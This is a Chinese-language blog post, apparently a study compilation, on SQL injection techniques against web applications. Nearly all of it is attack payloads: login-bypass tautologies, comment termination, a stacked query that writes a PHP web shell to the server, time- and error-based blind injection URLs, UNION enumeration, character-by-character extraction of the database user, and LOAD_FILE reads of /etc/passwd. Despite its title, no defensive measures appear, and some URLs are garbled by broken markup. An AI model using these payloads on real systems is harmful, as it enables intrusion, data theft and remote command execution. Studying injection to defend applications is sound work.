閱讀861 返回首頁    go 技術社區[雲棲]


SQL注入攻擊和防禦

部分整理。。。

 

什麼是SQL注入?

簡單的例子, 對於一個購物網站,可以允許搜索,price小於某值的商品

這個值用戶是可以輸入的,比如,100

但是對於用戶,如果輸入,100' OR '1'='1

結果最終產生的sql,

SELECT *
FROM ProductsTbl
WHERE Price < '100.00' OR '1' = '1'
ORDER BY ProductDescription;

這樣用戶可以獲取所有的商品信息

 

再看個例子,

對於用戶身份認證,需要輸入用戶名和密碼

但是如果用戶在密碼裏麵加入注入代碼,

SELECT userid
FROM CMSUsers
WHERE user = 'foo' AND password = 'password' OR '1' = '1';

這樣就一定可以通過驗證

 

注入類型

 

內聯 SQL 注入(Inline SQL Injection)

內聯注入是指向查詢注入一些SQL 代碼後,原來的查詢仍然會全部執行

 

字符串內聯注入

例子,

通過下麵的sql,把users 表中所有密碼都更新為new_password,相當嚴重

UPDATE users
SET password = 'new_password'
WHERE username = 'Bob' and password = 'old_password' OR '1'='1'

image

 

數字值內聯注入

請注意,注入數字時不需要添加開始和結尾的單引號定界符。

SELECT *
FROM messages
WHERE uid=45 or 1=1 /* 永真條件 */
ORDER BY received;

由於注入了永真條件(or 1=1),因而數據庫將返回message 表中所有的行,而不僅僅是那些發送給某個用戶的行

image

 

終止式SQL 注入

終止式SQL 注入是指攻擊者在注入SQL 代碼時,通過將原查詢語句的剩餘部分注釋掉,從而成功結束原來的查詢語句。

image 

例子,

注入“' or 1=1;--”代碼

SELECT *
FROM administrators
WHERE username = '' or 1=1;-- ' AND password = '';

由於存在 1=1 永真條件,該語句將返回administrators 表中所有的行。

SELECT *
FROM administrators
WHERE username = 'admin'/*' AND password = '*/ '';

有時您會發現在某些場合無法使用雙連字符(—)。 
在這種情況下,可以使用多行注釋(/* */)來替換SQL語句中原來的注釋。 
該技術要求存在多個易受攻擊的參數,而且您要了解這些參數在SQL 語句中的位置。

image

 

執行多條語句

SQL Server 6.0 在其架構中引入了服務端遊標,從而允許在同一連接句柄上執行包含多條語句的字符串。 
所有6.0 之後的SQL Server 版本均支持該功能且允許執行下列語句: 
SELECT foo FROM bar; SELECT foo2 FROM bar2;

MySQL 在4.1 及之後的版本中也引入了該功能,但它在默認情況下並不支持該功能。

要利用該技術,您首先需要能夠終止第一條語句,這樣您之後才可以連接任意的SQL 代碼。

image

例子,

http://www.victim.com/search.php?s=test';SELECT '<?php echo shell_
exec($_GET["cmd"]);?>' INTO OUTFILE '/var/www/victim.com/shell.
php';--

 

時間延遲

時間延遲是一種很強大的技術,Web 服務器雖然可以隱藏錯誤或數據,但必須等待數據庫返回結果,因此可用它來確認是否存在SQL 注入。該技術尤其適合盲注。

Microsoft SQL Server 服務器包含一條向查詢引入延遲的內置命令:WAITFOR DELAY 'hours:minutes:seconds'。 
例如,向Victim 公司的Web 服務器發送下列請求,服務器的響應大概要花5 秒:

http://www.victim.com/basket.aspx?uid=45;waitfor delay '0:0:5';--

服務器響應中的延遲使我們確信我們正在向後台數據庫注入 SQL 代碼

 

MySQL 數據庫沒有與WAITFOR DELAY 等價的命令,但它可以使用執行時間很長的函數來引入延遲。BENCHMARK 函數是很好的選擇

mysql> SELECT BENCHMARK(10000000,ENCODE('hello','mom'));

 

注入攻擊方式

注入首先要確定後端具體是什麼數據庫,具體是什麼版本 
方法取決於是否blind,即web服務器是否會把後端的錯誤或返回值,返回給你

基本的方法就是用,不同數據庫的有差異的語法來驗證,

比如對於字符串的拚接,各個庫的語法是不一樣的

image

 

Extracting data through UNION statements

通過union可以增加自己的sql,獲取更多的信息

SELECT column-1,column-2,…,column-N FROM table-1
UNION
SELECT column-1,column-2,…,column-N FROM table-2

 

這種方法的限製是,

• The two queries must return exactly the same number of columns. 
• The data in the corresponding columns of the two SELECT statements must be of the same (or at least compatible) types.

如何保證你的sql和原始sql具有相同的column個數和類型呢?

方法就是,你可以一個個試,

http://www.victim.com/products.asp?id=12+union+select+null--
http://www.victim.com/products.asp?id=12+union+select+null,null--
http://www.victim.com/products.asp?id=12+union+select+null,null,null--

一直試到不報錯為止

對於類型也是一樣,

http://www.victim.com/products.asp?id=12+union+select+‘test’,NULL,NULL,NULL
http://www.victim.com/products.asp?id=12+union+select+NULL,‘test’,NULL,NULL

試到不報錯,說明類型匹配

例子,

For instance, the following URL would retrieve both the name of the current user and the name of the current database:

https://www.victim.com/products.asp?id=12+union+select+NULL,system_user,db_name(),NULL

 

Using conditional statements

各種數據庫的條件語法,

image

 

Approach 1: Time-Based

On SQL Server, for instance, one of the first things you might want to know is whether the user performing the queries is the system administrator account, sa.

https://www.victim.com/products.asp?id=12;if+(system_user=‘sa’)+WAITFOR+DELAY+‘0:0:5’--

 

Approach 2: Error-Based

https://www.victim.com/products.asp?id=12/is_srvrolemember(‘sysadmin’) 

如果後麵的函數返回1,那麼12/1,仍然等於12; 如果返回0,12/0明顯會有異常,這樣可以推斷後麵函數的值

As an example, let’s see how we can use a CASE statement to check, in our e-commerce application, whether the current user is sa:

https://www.victim.com/products.asp?id=12/(case+when+(system_user=‘sa’)+then+1+else+0+end)

 

Approach 3: Content-Based

可以避免產生錯誤,

https://www.victim.com/products.asp?id=12%2B(case+when+(system_user+=+‘sa’)+then+1+else+0+end)

比如上麵的case,

把除改成求餘

 

Working with Strings

 

https://www.victim.com/search.asp?brand=acme

等同於,

https://www.victim.com/search.asp?brand=acm‘%2B’e 或 https://www.victim.com/search.asp?brand=ac‘%2B’m‘%2B’e

因為%2B,轉義為+

也等同於,

https://www.victim.com/search.asp?brand=ac‘%2Bchar(109)%2B’e

下麵可以這樣來注入,

https://www.victim.com/search.asp?brand=ac‘%2Bchar(108%2B(case+when+(system_user+=+‘sa’)+then+1+else+0+end)%2B’e

根據條件判斷,

https://www.victim.com/search.asp?brand=acme

https://www.victim.com/search.asp?brand=acle

上麵的攻擊隻能獲取1個bit的數據, 這種攻擊可以擴展成,對len的判斷,以用二分法確定len

+8)+then+1+else+0+end" href="https://www.victim.com/products.asp?id=10/(case+when+(len(system_user)+>+8)+then+1+else+0+end">+8)+then+1+else+0+end" href="https://www.victim.com/products.asp?id=10/(case+when+(len(system_user)+>+8)+then+1+else+0+end">https://www.victim.com/products.asp?id=10/(case+when+(len(system_user)+>+8)+then+1+else+0+end

繼而可以用二分法找出每個char,

+128)+then+1+else+0+end)" href="https://www.victim.com/products.asp?id=12/(case+when+(ascii(substring(select+system_user),1,1))+>+128)+then+1+else+0+end">+128)+then+1+else+0+end)" href="https://www.victim.com/products.asp?id=12/(case+when+(ascii(substring(select+system_user),1,1))+>+128)+then+1+else+0+end">https://www.victim.com/products.asp?id=12/(case+when+(ascii(substring(select+system_user),1,1))+>+128)+then+1+else+0+end)

 

Exploiting the operating system

Accessing the file system

讀,

The LOAD_FILE function also handles binary files transparently, which means that with a little bit of finesse we can use the function to read binary files from the remote host easily:

如,

‘ union select LOAD_FILE(‘/etc/passwd’)#

insert into foo set line=load_file(‘/tmp/temp.bin’);

 

寫,

aaa’ union select NULL,‘SensePost 2008\n’ into dumpfile ‘/tmp/sp.txt’#

 

Executing operating system commands

 

Exploiting second-order SQL injection

第一次攻擊請求,隻是把攻擊腳本,寫入storage,如數據庫

第二次請求,會把攻擊腳本從庫中讀出,觸發執行,此時才會產生真正的攻擊

 

Finding Second-Order Vulnerabilities

Second-order SQL injection is more difficult to detect than first-order vulnerabilities, because your exploit is submitted in one request and executed in the application’s handling of a different request.

最後更新:2017-04-07 21:05:50

  上一篇:go Golang 退出chroot環境的方法
  下一篇:go Flink Internals